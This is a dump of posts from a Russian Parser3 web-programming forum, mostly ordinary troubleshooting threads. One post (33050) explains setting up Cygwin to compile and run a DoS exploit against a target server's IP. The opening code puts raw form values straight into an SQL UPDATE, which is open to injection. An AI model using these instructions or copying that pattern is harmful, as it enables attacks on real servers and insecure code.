\
</td>\
<td align=center>\
\
	$news.l_to\
\
</td>\
<td align=center>\
\
	<input type='text' value='$news.letter_status' name='letter_status' size=5>\
\
</td>\
<td align=justify>\
\
	<b>Subject:$news.l_subject<b><br>\
\
	<textarea name='l_eng' cols=60 rows=10>$news.l_eng</textarea>\
\
</td>\
<td align=justify>\
<br>\
\
	<textarea name='l_ukr' cols=60 rows=10>$news.l_ukr</textarea>\
\
</td>\
<td align=justify>\
\
	<input type='text' value='$news.l_ans_status' name='l_ans_status' size=5>\
\
</td>\
<td align=justify>\
<br>\
\
	<textarea name='l_ans_ukr' cols=60 rows=10>$news.l_ans_ukr</textarea>\
\
</td>\
<td align=justify>\
<br>\
\
	<textarea name='l_ans_eng' cols=60 rows=10>$news.l_ans_eng</textarea>\
\
</td>\
<td>\
\
	<input type=submit value=submit name=posted>\
\
</form>\
^if(def $form:l_eng){\
	^connect[$connect_string]{\
		^void:sql{\
			update u_letters \
				set letter_status='$form:letter_status', \
						l_ans_status='$form:l_ans_status', \
						l_ukr='$form:l_ukr', \
						l_ans_ukr='$form:l_ans_ukr', \
						l_ans_eng='$form:l_ans_eng' \
				where letter_id='$news.letter_id'}}}\
</td>\
</tr>\
}}\
</table>\
[/code]"
"33030","эх, если бы он оперативно закачивал и помещал страницы в индекс..."
"33031","Речь идет про письма в базе данных. У меня одна из задач - написание веб-интерфейса к внутренней почте. Не присоветуете скрипт, которым можно получать письма и загонять их в базу?"
"33032","У линуксоидов статья была с полгода назад как реализовать почту на MySQL.\
Вероятно видел на linux.org.ru"
"33034","У меня такая же задача. Пишу на PHP (благо реализуется это просто) сервис imap2mysql и pop32mysql. Времени не особенно много, поэтому продвигается все ОЧЕНЬ медленно. Если сделаю раньше, чем Вы - отпишу. Прошу взаимности :)"
"33035","http://linuxnews.ru/docs/new/isp-mail/version1.2/isp-mail-howto.1.2.rus.txt\
\
зы: Сам не делал"
"33036","Конечно давайте! :) Но у меня также это не приоритетная задача, и также пока очень медленно получаю все знания и наработки по этой теме... И я надеюсь все таки найти готовое решение на языке отличном от Parser, и завязать их через базу. Сам соберусь писать только если задача обретет больший приоритет (либо в порядке очередности, либо под воздействием руководства). Если наткнусь на что-то стоящее, обязательно сообщу."
"33038","1. Если указать  <xsl:text disable-output-escaping=\"yes\">, то при выводе обычного текста все ок, НО В ЗНАЧЕНИЯХ АТРИБУТОВ & ВСЕ РАВНО ЗАМЕНЯЕТСЯ НА &amp; Насколько я понял, так и должно быть.\
2. Независимо от метода обработки, при щелчке по гиперссылке в строку браузера текст с &amp; вместо & и она обрабатывается неправильно. Не понимаю, в чем грабли."
"33040","должно работать и так и так (на этом сайте в ссылках &amp;)\
\
вот этот пример у меня нормально работает в Opera, IE, Firefox:\
http://www.parser.ru/_t_a.html\
\
если уж совсем никак (например yandex не очень любит &amp;) - @postprocess[] с match вам в руки. найдите и замените &amp; на &"
"33041","[quot]\
...я хочу сделать, чтобы при вводе в любой части сайта слова pictures появлялась заранее определённая картинка...\
[/quot]\
\
Вот я и сказал в постпроцессе :)\
\
Наверняка ведь у него контент разными методами генериться :)"
"33042","Вы ,ведь хотите сторить письма в базу, а не ТОЛЬКО аккаунты и настройки.\
Для настроек и аккаунтов есть уже готовая система http://www.powerdns.com/products/powermail/index.php . И без шаманства. :)"
"33043","то что видел я сналёта не нашол, если найду дам ссылку"
"33044","Смотрю в логе парсера:\
\
[Thu Sep 16 16:50:29 2004] [error] Premature end of script headers: /usr/local/apache/cgi-bin/parser3.cgi\
CORD_block_iter:unknown_fn should not happen\
\
Что бы это могло значить? Учитывая то, что на одном parser3.cgi работает несколько сайтов, я даже не могу определить, кто из них вызвал такую ошибку."
"33045","http://www.parser.ru/forum/?id=32765\
\
в вашем случае, наверное, в error.log."
"33047","сегодня смог вычленить новую ошибку в suexec.log\
\
cannot get docroot information\
\
думаю, накосячил сам с компиляцией или еще что, так что Парсер не причем и до него дело просто не доходит..."
"33048","Как избавиться от такой белеберды:\
auto.p(25:45): parse error, expecting `'['' or `'{'' or `'('' [parser.compile]\
\
Посмотрел в auto.p но по данным координатам находится один хтмль тэг, и ничего указывающего на ошибку."
"33049","Точнее в штук эдак 30-ти error_logах. Ладно, будем искать. А по секундам определить тоже непросто - ведь не один я хожу по сайтам, есть еще и посетители.\
А что вообще может значить эта ошибка? Гугл и Яндекс не знают. Значит, ошибка именно Парсеровская? А в списке ошибок ее нет"
"33050","Как устанавливать:\
Качаем http://www.cygwin.com/setup.exe далее запускаем setup.exe выбираем \
1. Install from Internet;\
2. root-директорию: c:\\cygwin; \
3. выбираем зеркало с которого будет качаться дистрибутив, самое первое с него все без проблем устанавливается\
4. Ждем пока появится выбор компонентов для установки.\
5. Далее Оставляем все Default и добавляем пакеты которые нам нужны для компиляции эксплойтов, а это\
\
Devel - binutils, gcc, make, mingw-runtime \
Libs - libiconv2, libintl1-2, libncurses5-6, libpopt0, mingw-runtime, ncurses, tempcap, w32api\
Utils - cygutils\
\
6. Далее нажимаем next и качаем ( примерный объем скачиваемых пакетов это 40-50 мегабайт) - это очень много не один час скачивать будите.\
\
7. Cтавите галочку на Create icon on Desctop.\
\
8. Перезагружаете компьютер.\
\
Применение:\
Запускаем Cygwin и что мы видим:\
\
имя компьютера@проль\
\
Пишите $pwd - где вы находитесь(каталог). Обычно это /home/имя компьютера/\
Копируем файл vzlom.c который мы сделали на первом этапе в паку\
\
C:\\cygwin\\home\\123 \
\
Далее вводим в Cygwin \
\
gcc vzlom.c\
\
В папке C:\\cygwin\\home\\123 создается файл a.exe для того чтобы запустить его пишем \
\
>./a.exe\
\
И на экране появится что-то вроде\
\
Neuter: IIS+Apache Tomcat DoS - [Oct 15, 2002]\
Written by: bmbr@enZo\
\
Usage: ./a [-p port] IP\
optional: -x (don't stop DoS'ing)\
\
Третий этап (использование экслойта.)\
\
А что об этом говорить и так все ясно пишем\
\
./a [80] ***.***.****.**** (***.***.***.*** - ip взламываемого сервака)."
"33053","Всё исправил."
"33054","menu\
undefined method\
C:/MyServer/Apache2/public_html/auto.p(48:51)\
\
Как токо я исправляю очередную ошибку он ругается на неназначенный метод. Код:\
$sections[^table::load[sections.cfg]\
\
^sections.menu{<TR>\
<TD height=30 colspan=\"2\" background=\"Images/fonbut.jpg\">\
</TR>}"
"33055","Добрый день. Возникла странна проблема, которую никак не могу разрешить. Перерыл весь форум, похожей темы не нашел. Поискал в интернете, но там все подобные темы обсуждаются в рамках PHP.\
\
Дело в том, что я не могу загружать файлы, размером более 2-3 мегабайт при помощи формы/скрпита_на_parser3.1.3/Apache_под_FreeBSD\
\
Пишу обычную форму:\
\
[code]\
<form method=\"post\" action=\"image.html\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"image\" class=\"wide\"/>\
<input type=\"image\" src=\"/i/ok.gif\"/>\
</form>\
[/code]\
\
затем парсером принимаю этот файл и сохраняю в каталоге.\
\
На маленьких файлах все прекрасно работает. Стоит попробовать загрузить большой файл, как:\
\
1) Internet Explorer говорит \
\"The page cannot be displayed\
The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings.\
...\
\"\
2) Mozilla:\
Выскакивает pop-up окошко с надписью \"The document contains no data\".\
Сервер - FreeBSD, Web-сервер - Apache 1.3.29\
\
Можно было бы подумать, что файлы размером в несколько мегабайт и больше в принципе не могут быть загружены по сети на сервер, управляемый Apache, но проблема заключается в том, что на Windows-платформе и сервере Apache - все грузится.\
\
Не сталкивался ли кто-нибудь с подобной проблемой? Был признателен за помощь."
"33057","Помоему нехватает ещё одной скобки\
\
$sections[^table::load[sections.cfg][b]][/b]\
\
^sections.menu{<TR>\
# зачем делается перебор если данных из таблицы не берётся (это конечно не моё дело, но тем не менее)\
<TD height=30 colspan=\"2\" background=\"Images/fonbut.jpg\">\
</TR>}"
"33058","поэтому локально все пашет, а на удаленном сервере не хочет."
"33059","Все кто может, помогите словом! У нас в универе, как сообщил админ, \"в целях безопасности не разрешен (т.е. запрещен) запуск cgi скриптов\" и соответственно Parser поставить нельзя:(. Но при этом можно юзать и PHP и Perl скрипты! Он просто категорически отказывается дать запуск cgi. Как ему объяснить и пояснить, чем доказать, что Parser не мировое зло и уж от чего-чего, а от него (Parsera) безопасность и сохранность его почты не измениться."
"33060","в списке ошибок ее нету, ибо это внутренняя ошибка из серии \"should not happen\", обычно такие ошибки выделяют «в чистом виде» в некоторое воспроизводимое состояние, архивируют со всеми делами в bug.zip и высылают на paf@design.ru с указанием версии Парсера и операционной системы."
"33062","При использовании перлового скрипта из парсера путем ^file::cgi[..] пытался получить заголовки (прям как в доке - $f.FIELD). Они пустые. Давно PAF писал про это - \
[url=\"http://www.parser.ru/forum/?id=6026\"]http://www.parser.ru/forum/?id=6026[/url]\
\
Я надеялся, что глюк исправлен. Но кажется нет.\
\
$f.text - не пуст, при .exec - там видно все заголовки.\
\
Или я умудрился на грабли какие стандартизованные наступить?"
"33063","...разве не надо закрывать тег ячейки? Так будет вернее:\
\
[code]\
$sections[^table::load[sections.cfg]]\
\
^sections.menu{\
	<TR>\
		<TD height=30 colspan=\"2\" background=\"Images/fonbut.jpg\">\
^rem{### Oleg прав, если в этом месте не выводить ###}\
^rem{### никаких данных, то проще посчитать кол-во строк ###}\
^rem{### в таблице и построить их циклом ###}\
		[b]</TD>[/b]\
	</TR>\
}\
[/code]"
"33064","Предложите ему поставить парсер модулем ;)\
И дайте эту ссылочку: http://parser.ru/"
"33065","http://www.parser.ru/forum/?id=29764"
"33066","проверьте, что просите на выходе преобразования выдать вам HTML.\
если этот параметр забыть, вы получите XML. а в XML нельзя писать просто &.\
\
последний писк, XHTML [например, тут: http://www.rusal.ru/], современные браузеры понимают в нём и такие ссылки.\
если захотите XHTML, почитайте по нему литературу отдельно (будет $.method[html] и хитрый doctype)."
"33067","значит это кому-нибудь надо...\
\
http://www.spearance.ru/typograf/"
"33068","1. не делайте запросы вида «select * …», такой код не читается. сами через неделю забудете, что там достаётся.\
\
2. не делайте поле status буквенным, такой поиск будет работать медленно. сделайте status числовым полем (не забудьте создать по нему индекс).\
\
3. не расчитывайте на значения колонки id, если нужен некий номер заказа, сделайте отдельную колонку. иногда номер приходится изменять, а крайне скверно/трудно/неудобно изменять значения поля id; в некоторых базах данных это и вовсе явно запрещено."
"33070","поскольку подобное — крайне трудноуловимое безобразие.\
\
конечно, рассматриваются проблемы только последней версии."
"33071","Таймаут чего? Причем Mozilla вообще ничего никуда не посылает - просто выдает pop-up окошко, а IE реагирует мгновенно, не дожидаясь окончания никаких таймаутов."
"33072","вариант: \
запускать cgi скрипты не напрямую, а через suexec, так они заведомо не могут данным другого пользователя.\
настроить просто(две строчки в конфиге), ответственность за ваши данные и действия вашего unix пользователя перекладывается на вас и снимается с админа.\
\
Студия использует suexec на своих hosting площадках."
"33073","исходники общедоступны. кому нужно срочно, возьмите из CVS и соберите.\
\
если нет такой возможности, пока используйте обходные пути.\
если скрипт ваш: просто поправьте его.\
если не ваш, напишите обёртку вокруг него."
"33075","1. выключите [x] Friendly error messages в настройках MSIE\
\
Tools|Options..., вкладка Advanced\
\
тогда увидите настоящее сообщение об ошибке.\
\
2. что пишут в журнале ошибок [b]вашего[/b] веб-сервера?\
\
3. много чего, что обсуждают в контексте PHP к самому языку не относится, поэтому не гнушайтесь чтением, если пишут дело."
"33076","порносайте вчера было 151436 хитов. Это наверное нужнее...\
\
Но шутки в сторону. Перестаньте превращать форум в блог. Я Вас уважаю и благодарен Вам за то, чем Вы делитесь с P3-комьюнити, но пишите эти новости лучше на http://www.spearance.ru/ .\
Без обид."
"33077","http://httpd.apache.org/docs/mod/core.html#limitrequestbody\
Это, почти 100%, дело рук апача.\
Если, конечно в парсеровском auto.p не изменено\
[code]\
...\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
...\
[/code]\
\
P.S.\
2 moderator\
\
Злые вы... :)"
"33078","Именно эта идея мне и пришла в первые 30 секунд общения с ним ;) Но... низззя. Я бы с удовольствием."
"33079","Ага модулем. Он предложил вариант по координальнее! Поставить co-local!!! на их площадке (если это площадка)!!! И это \"будет меньше(!!!) угрожать сохранности данных на нашем сервере\"... И все-таки вариант про набитие морды видится мне самым...хм... успокаивающим душу."
"33080","Боюсь, что именно мои дейстия и боится админ. Я понимаю, что безопасность прежде всего, но это уже параноя. Но попробую и этот вариант. Спасибо."
"33081","есть журналы,\
есть возможность видеть проблему не имея журналов.\
\
нужно знать, а не строить предположения на невразумительном сообщении, всё более запутывая спрашивающего."
"33082","чтобы не бояться, что действия скрипта навредят системе.\
\
почитайте про suexec, проникнитесь сами, увлеките админа."
"33083","сохранность данных, это не ерунда.\
\
если сейчас все скрипты работают от одного пользователя, данные находятся в опасности.\
поскольку, как уже обсуждалось, в такой ситуации [b]можно[/b] добиться относительной безопасности хитрым образом разделив права на каталоги разных пользователей, но те админы, что не используют suexec, этим обычно пренебрегают.\
\
от какого пользователя работают perl скрипты?\
[code]\
#!/usr/bin/perl\
\
print \"content-type:text/plain\\n\\n\";\
print \"login=\", getlogin();\
[/code]\
заливайте этот файл в [b]текстовом[/b] режиме в cgi-bin, разрешите его к исполнению и обратитесь к нему по HTTP.\
\
если вам удастся [b]продемонстрировать[/b] вашему админу несовершенство текущей схемы и предложить [b]простую[/b] схему («использовать suexec»), для улучшения ситуации, то…\
\
разумный админ скажет вам спасибо."
"33084","Спасибо за ответ. Я просто надеялся, что делаю я что-то не так. Ведь разговор, который я нашел был от 2002 года. А парсер после этого уже сколько раз выходил новыми версиями."
"33085","Меня посетила следующая идея. На цопирайт не претендую, т.к. подобная мылсль уже была когда-то высказана на форуме.\
Можно создать что-то вроде \"nightly builds\" Парсера.\
Собирать по крону и выкладывать в сеть. Елси это кому-то надо, то готов уделить этому время, т.к. частенько сам наталкиваюсь на рога, которые уже \"fixed в CVS|HEAD\", но легче от этого не становится.\
Ежели никому не надо - прошу не обращать внимания на этот тред и стереть его нафиг."
"33086","Просто хочется помочь и натолкнуть на нужные мысли, но, посмотрев со стороны, понимаю, что получается фигня.\
будем взрослеть..."
"33089","сейчас исправил. в CVS|HEAD.\
\
имело место глупая опечатка при вот этом обновлении, вошедшем в версию 3.0.8\
\
Revision : 1.107.2.16.2.9\
Date : 2003/3/24 17:0:49\
Author : 'paf'\
State : 'Exp'\
Lines : +8 -8\
Description :\
size_t pos everywhere checks changed to check for eq STRING_NOT_FOUND"
"33090","Бесплатная версия индексирует до 11Мб текста. Должно хватать.\
Работает очень быстро."
"33091","К сожалению, имею русский аналог IE, так что единственно похожую опцию нашёл - \"Выводить подробные сообщения об ошибках\".\
Отключил её - ничего не изменилось.\
\
На самом деле, я не совсем точно написал. На самом деле - это ошибка не www сервера, так как, судя по всему, до http запроса даже не доходит. IE в конце своего послания выводит фразу:\
\
Не удается найти сервер или ошибка DNS\
Internet Explorer \
\
То есть то, что он выводил бы, если бы я не был в сети, например. В логах сервера ничего нет - ни в access, ни в error. Пусто - то есть запроса к Apache видимо не было совершено."
"33092","на всякий случай попробовал изменить (вернее добавить, так как ее там раньше не было) соответствующую директиву - все равно не помогло"
"33093","я имею в виду директиву Apache"
"33094","Спосибо за помощь, а насчет перебора, конечно там была куча кода, я просто его не стал сюда выкидывать чтобы не машал наглядности."
"33095","А есть ли замена методу ^macro_use[] из p2?"
"33100","может вдруг у вас там написан неправильный сервер?"
"33103","Пробовал $table.offset[cur](-1) а затем $table.item не получилось..."
"33104","<form method=\"post\" action=\"image.html\" enctype=\"multipart/form-data\">\
\
где в image.html происходит всякая обработка.\
Все еще более странно, чем я думал. Такое ощущение, что ошибка вообще не серверная, а операционной системы Windows. Я попробовал загрузить файл с другого компьютера, обратившись к тому же www-серверу и все получилось. Мое подозрение пало на недавний и достаточно нашумевший Service Pack 2 - но проверка показала, что он тут не причем. Моя последняя догадка - MUI. На компьютере, с которого я это пытался делать стоит этот \"слегка\" недоработанный русификатор, а на том, с которого я недавно пробовал - просто русский Windows."
"33105","А лучше сядьте и прочтите документацию от начала до конца, как книгу. Это и интересно и полезно."
"33106","$difhelp[^table::load[difhelp.cfg]]\
^use[/blabla.cfg] # в нем содержатся доп макросы которые слишком большие чтобы зибивать ими auto.p\
^difhelp.name[] # так я пытаюсь вызвать макрос название которого берется из таблицы в ответ получаю самые разные ошибки например такая: \
\
name\
is 'string', not a method or junction, can not call it"
"33107","Слева есть форма для поиска по форуму..."
"33109","Выходит ошибка, после того, как закинул файлы на сервер:\
\
[code]'/usr/local/web/new.fesaem.ru/html/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/usr/local/web/new.fesaem.ru/html/auto.p', fuid(1008)!=euid(80) or fgid(1001)!=egid(80)  type: parser.runtime\
[/code]\
\
Как можно ее избежать?????"
"33113","разумный - да. разумный админ сам давно бы уже нашел как ставить апач правильно и что такое суэкзек. знаю я какие бывают админы в вузах. ЛАМЕРЬЕ. студенты и то умнее. так что... :) советую пить валерьянку :)"
"33114","fuid(1008)!=euid(80) or fgid(1001)!=egid(80)\
\
сервер выполняется под ид 80 (обычно имя www). \
а вы заливаете под ид 1008 (наверное ваш логин) и группой 1001 (навернео группа типа users).\
\
так вот, надо чтобы либо файлы стали того же ид, под коорым выполняется сервер, либо сервер работал под вашим ид.\
второе имеет смысл только с suexec.\
\
а уж как вы будете делать файлы с ид 80 - ваши проблемы. зависит сугубо от сервера и того, какой доступ вы туда имеете, и дадут ливам вообще так менять ид файлов."
"33115","http://dhtmlkitchen.com/scripts/draglib/DragModule/demo/dragpane/index.html"
"33116","всё сделал, как вы говорили (работает), но меня расстроило то, что при вводе скобки [quot] ) [/quot] появляется ошибка.\
Как сделать, чтобы парсер не реагировал на это?"
"33117","Бывает. Многие хорошие начинания губятся рутинными заданиями. Иногда просто времени не хватает, иногда - сил.\
ОК, если это кроме меня нужно еще и вам, то этого уже достаточно.\
Буду потихоньку рыть в эту сторону. О результатах сообщу."
"33118","http://www.php.ru/  - самая нижняя строчка :)"
"33120","по горячим следам ссылочки ведут не куда-нибудь, а на студию лебедева :) так вот откуда ноги растут :)))"
"33124","$sections[^table::load[sections.cfg]]\
$now[$$section_no]\
^sections.locate[no;^now[]]\
\
Уже всяко пробовал, на форуме всё обрыскал, ну не полчается вызвать функцию у которой один из параметров переменная!\
\
now\
is 'string', not a method or junction, can not call it\
\
Должен же быть выход?!?"
"33127","Допустим:\
@section_html[section_no;section_body] #макрос\
тут некий хтмль код\
$sections[^table::load[sections.cfg]]#грузим табличку\
опять таки код\
$now[$$section_no]\
^sections.locate[no;^now[] #этим я хочу найти в табличке строку, по цифре которая будет подставлена в макрос section_html в других старницах.\
\
В ответ получаю ошибку."
"33128","В любом случае из этих двух ничего не получается."
"33130","Задача: сместить строку в таблице sections.cfg, столбце no на section_no который приходит из вызываемых страниц."
"33133","Вообщем в чем главная задача - есть табличка sections.cfg в которой содержатся все разделы ссылки на них и их названия(как в учебнике). В auto.p прописан макрос @section_html[sections_no;section_body] в него подгружается талбичка section.cfg затем это табличку методом ^table.locate[column;var] нужно сместить на section_no. НО парсер не дает мне сместить табличку на это число... И как бы я не изворачивался ничего не выходит."
"33134","$sections[^table::load[sections.cfg]]\
^sections.locate[no;$section_no]\
\
сделай еще тест: \
\
$sections[^table::load[sections.cfg]]\
^if(^sections.locate[no;$section_no]){НАЙДЕНО}{НЕ НАЙДЕНО}\
\
что скажет?"
"33135","[quot]$sections[^table::load[sections.cfg]]\
^sections.locate[no;$section_no][/quot]\
Так он мне пишет: \
MAIN\
method_frame may not be overwritten with bool, store it to variable instead\
\
почему я и стал искать альтернативный выход!\
\
[quot]$sections[^table::load[sections.cfg]]\
^if(^sections.locate[no;$section_no]){НАЙДЕНО}{НЕ НАЙДЕНО}[/quot]\
говорит найдено!"
"33136","$sections[^table::load[sections.cfg]]\
$nafig(^sections.locate[no;$section_no])\
\
а так?"
"33137","посмотрите в faq -> \"Парсерные сообщения об ошибках\" что означает эта ошибка, потом ещё раз прочитайте внимательно про ^таблица.locate, что оно возвращает и как используется (пример).\
Всё сразу станет понятно."
"33138","Работает! =) Сенки, я уж думал дело совсем плохо =)"
"33140","ссылка на /freeback/ приводит к ошибке 404, а на /freeback.html с тем же кодом работает."
"33143","Ведь [b]/feedback/[/b] и [b]/feedback.html[/b] — разные вещи. Первое равнозначно вот этому: [b]/feedback/index.html[/b] [i](ну или что там у вас в [/b].htaccess[/b]?)[/i]"
"33144","Разобрался: в /freeback/ лежал пустой auto.p"
"33145","любопытно: у какого провайдера так?"
"33147","что понадобилась вот такая штука, как sqlite. У заказчика все лежит в ней и больше ничего из sql на сервере нету :(\
НИкто не пытался написать драйвер для Парсера?"
"33150","[code]^if($action eq new){hi!}{old}\
<br><a href=\"?action=new\">new</a>\
[/code]\
при клике на ссылке не даёт \"hi!\" :(( \
что не так?:("
"33153","мдя. :)"
"33156","Проблема состоит в следующем - Есть окно (назовем его родительским), из которого при нажатии на ссылку методом window.open открывается другое окно (окно-потомок)..\
И мне необходимо из окна-потомка при обновлении (перезагрузке) перегрузить родительское.\
\
Я знаю, что перегрузить родительское окно можно записав\
top.opener.document.location.reload();\
но как это подвязать к перегрузке дочернего окна? В дочернем окне нет кнопок, и, поэтому подвязаться к \
\
<input type=submit value=\"Отправить\" onClick=\"top.opener.document.location.reload();\">\
не могу... :(\
\
Может быть кто нить знает как можно (и можно ли вообще) реализовать то, что мне необходимо.\
Заранее спасибо!"
"33157","<body onload=\"window.opener.location.reload()\">"
"33158","Спасибо за ответ, но это немного не то... :(\
\
В данному случае (когда <body onload=\"window.opener.location.reload()\">) как только загрузится дочернее окно (первый раз) - сразу перегрузится родительское.\
\
А мне интересно есть ли возможность перегружать родительское окно при перезагрузке дочернего. Именно, при перезагрузке, а не при первоначальной загрузке."
"33160","я че та никак невкурю, мои сообщения по парсеру удаляют, а это сообщение, далекО не по парсеру, оставляют жить..."
"33161","№1 Следите за культурой речи\
№2 Заведите себе аккаунт, а то мне это уже напоминает анонимусов с linux.org.ru"
"33162","Хочется две вещи - \
1  Хочется чтоб парсер  письма сам мог принимать (кажется этого нет, или я совсем отстал от жизни?)\
2  Упакока - распаковка на лету в какой-нибудь zip, чтоб экономисты могли поэкномить"
"33163","Что бы взять переменную из http://www.parser.ru/forum/message.html?id=33153 нужно написать $form:id\
\
Это почему-то считается таким простым, что написать об этом подробно неприлично."
"33164","поддерживаю, тем паче что sqlite стал постоянным компонентом в php5, а для миграций будет полезно"
"33165","если собрать его из исходников с ключом\
[code]--with-mailreceive[/code]\
\
одна мелочь не дают мне включить это в основную версию, это кодировки:\
сейчас для обработки писем в gnome мире принято пользоваться iconv, у нас же с вами свои собственные гибкие таблицы описания кодировок.\
получается неизящно: приходит письмо в koi8-r кодировке, и в windows-1251 кодировку преобразуется через какие-то совсем другие таблицы, не те, что мы с вами в auto.p в @conf определяем.\
\
соответственно, осталась мелочь: реализовать iconv API (пара-тройка функций) на основе наших данных о таблицах кодировок.\
\
приму \"patch -u\""
"33169","Спасибо за ответ и совет, будеу иметь ввиду."
"33170","так не собирается. компили парсер внутрь апача (типа '--enable-shared=max --disable-shared=parser' - см. документацию по сборке апача)"
"33171","В том то и дело что пишет что нету модуля такого shared_parser3"
"33172","с некоторого времени на сайте парсер выдает в лог такую ошибку:\
[Wed Sep 22 10:13:11 2004] out of pool memory: failed to allocate 269 bytes; already allocated on pool: 10003874 bytes in 230641 times\
\
что это значит? куда копать?\
\
ЗЫ: за лаймерство не пинать, я с парсером недавно."
"33173","Конструкция: \
$$tbl_name[^hashfile::open[/hash/$tbl/name]]\
вываливается с руганью:\
'open' apr_sdbm_open(shared) error: Bad file descriptor (9) [file.access]\
\
лечится только при попытке записать по динамическому пути файл-пустышку\
$adr[/hash/$tbl]\
$z[ ]\
^z.save[append;$adr/z] \
$$tbl_name[^hashfile::open[$adr/name]]\
\
BTW в последнем случае ^z.save[text;$adr/z] вываливается с - 'text' unknown mode, must be 'append' [parser.runtime]"
"33174","ошибка проявляется если отсутствует каталог (то есть каталог динамически не создается - но при записи строчки ^str.save[dinamical path] проблем с созданием каталога не возникает) на лицо ассиметрия гомогенных методов"
"33175","это не баг, это фича"
"33177","Было два вопроса. Фича - это про append/text или про динамический путь?"
"33179","1. что hashfile::open не создаёт каталог, вчера легло в мой TODO. пару строк в исходник добавить.\
такие мелочи может сделать любой, прислать мне тривиальный \"patch -u\"\
note: в документации и не написано, что он будет создавать. так что формально — не bug :) [согласен, непоследовательно]\
\
2. string.save не имеет никакого \"text\", перечитайте доку."
"33180","и переведите текст сообщения?"
"33181","Читал этот тред http://www.parser.ru/forum/?id=25095\
рекомендуют просмотреть список процессов,\
просмотрел - процесс один 'mysql' - грузит сервер на 85-95%\
просмотр родительских процессов тоже ничего конкретного не выявил. Чтобы возобновить работу системы достаточно просто снять данный процесс.\
Посоветуйте как отловить момент наиболее сложной загрузки mysql сервера?"
"33183","Есть таблица, заранее не известно какая, например вот\
[code]$tab[^table::create{name	2000	2001	2002	2003	2004\
вова	1	10	30	30	40\
лева	2	12	22	32	42\
Леша	5	15	25	35	45}]\
^stolb[$tab][/code]\
\
Вызывает функцию построения дерева следующего вида\
[code]\
2000\
     вова 1\
     лева 2\
     Леша 5\
2001\
     вова 10\
     лева 12\
     Леша 15\
[/code] и т.д."
"33184","Извеняюсь все нашел\
[code]^таблица.columns[][/code]"
"33189","Пробовал $t.count ${t}.count - не получается"
"33190","На исходное сообщение я попал из поиска, оно довольно старое.\
\"contains illegal assignment attempt of junction to MAIN method_frame, use constructor\"\
и  \
\"'MAIN' method_frame may not be overwritten with table...\"\
это разные ошибки или одна и та же ошибка в разных версиях парсера?"
"33192","а можно переименовать поле в… «quantity» :)"
"33194","Оказалось, что .sort($t.count) тоже не работало правильно (хотя ошибки не возникало)."
"33197","на всех подобных развилках решение принималось в пользу скорости."
"33198","все, извиняюсь...\
поискал по форуму, частично стало ясно, если что напишу."
"33201","Функции передается таблица любого размера оформленная следующим образом: первый столбец обязательно несет названия строк\
[code]\
$tab[^table::create{name	2000	2001	2002	2003	2004\
вова	1	10	30.3	30	40\
лева	2	12.12	22	32	42\
Леша	5	15	25	35	45}]\
^grafik[$tab]\
[/code]\
Далее сама функция. несколько сумбурно оформлена и валит все в одну кучу, но кому надо разберется\
[code]\
@grafik[tabname]\
#константы и переменные\
$x_size(200)\
$y_size(200)\
$spacer(3)\
$color_bg(0xffffff)\
$gif_img[^image::load[red.gif]]\
#количество строк и столбцов\
$columns_table[^tabname.columns[]]\
$kol_strok[^tabname.count[]]\
$kol_stolb[^columns_table.count[]]\
\
#находим максимальное значение таблицы\
^tabname.menu{\
	$column[$columns_table.column]\
	^for[stroka](0;$kol_strok+1){\
		^columns_table.offset(1)\
		$column[$columns_table.column]\
		$image_w($mnozit*$tabname.$column)\
		$valuer($tabname.$column)\
		$sum_znac($sum_znac+$valuer)\
		^if($valuer>$max){$max($valuer)}\
	}\
	^columns_table.offset(1)</ul></ul>\
}\
\
#еще парочка переменных\
$mnozit($x_size/$max)\
\
#рисуем таблицу\
^tabname.menu{\
	<ul>\
	$column[$columns_table.column]\
	<li>$tabname.$column</li>\
	<ul>\
	^for[stroka](0;$kol_strok+1){\
		^columns_table.offset(1)\
		$column[$columns_table.column]\
		$image_w($mnozit*$tabname.$column)\
		<li>$columns_table.column <img src=\"red.gif\" width=\"$image_w\" height=\"10\" /> $tabname.$column</li>\
	}\
	^columns_table.offset(1)</ul></ul>\
}\
\
#рисуем сектора создаем картинку\
$sector_img[^image::create($x_size;$y_size;$color_bg)]\
\
#рисуем\
$start_in(0)\
$color_sec(0xff1111)\
^tabname.menu{\
	$sum_znacs(0)\
	^for[stroka](0;$kol_strok+1){\
		^columns_table.offset(1)\
		$column[$columns_table.column]\
		$sum_znacs($tabname.$column+$sum_znacs)\
	}\
	$uglov_mnoz(360/$sum_znacs)\
	$sector_img[^image::create($x_size;$y_size;$color_bg)]\
	$sector_img.line-width(1)\
	^columns_table.offset(1)\
	$start_in(0)\
	^for[stroka](0;$kol_strok+1){\
		^columns_table.offset(1)\
		$column[$columns_table.column]\
		$peremen($tabname.$column)\
		$end_in($peremen*$uglov_mnoz+$start_in)\
		^sector_img.sector($x_size/2;$y_size/2;$x_size-$spacer;$y_size-$spacer;$start_in;$end_in;$color_sec)\
# X=R*cos(t), Y=R*sin(t), где R - радиус)\
		$u_fill($start_in+$end_in)\
		$r_fill(($x_size+$y_size)/4-$spacer-6)\
		$x_fill((^math:cos(^math:radians($u_fill/2))*$r_fill)+$x_size/2)\
		$y_fill((^math:sin(^math:radians($u_fill/2))*$r_fill)+$y_size/2)\
		$color_sec2(^math:random(0xffffff))\
		^sector_img.fill($x_fill;$y_fill;$color_sec2)\
#^sector_img.bar($x_fill;$y_fill;$x_fill+2;$y_fill+2;$color_sec2)\
		$start_in($end_in)\
	}\
	^columns_table.offset(1)\
	$file_gif[^sector_img.gif[]]\
	$i($i+1)\
	^file_gif.save[binary;sectors+$i+.gif]    \
	<img src=\"sectors+$i+.gif\" />\
}\
[/code]"
"33202","Выполняется следующий код:\
[code]\
^MAIN:cSQL.server{\
 $field[^table::sql{select * from field where fieldset_id='1'}]\
}\
$field_attribute[^field.columns[]]\
^field_attribute.menu{$field_attribute.column = \"$field.[$field_attribute.column]\" }\
[/code]\
\
Получаю ошибку\
[i]\
method_frame may not be overwritten with junction, store it to variable instead\
[/i]\
\
Делаю выборку из другой таблицы - все работает! (просто меняю в запросе название таблицы на step, у нее тоже есть поле fieldset_id)"
"33203","а не состояли из пикселей одного цвета?"
"33204","загружают весь лимит max_connections... state у всех в основном locked\
как я понимаю моя ошибка может возникать из-за того что где-то не закрывается оператор ^connect{}\
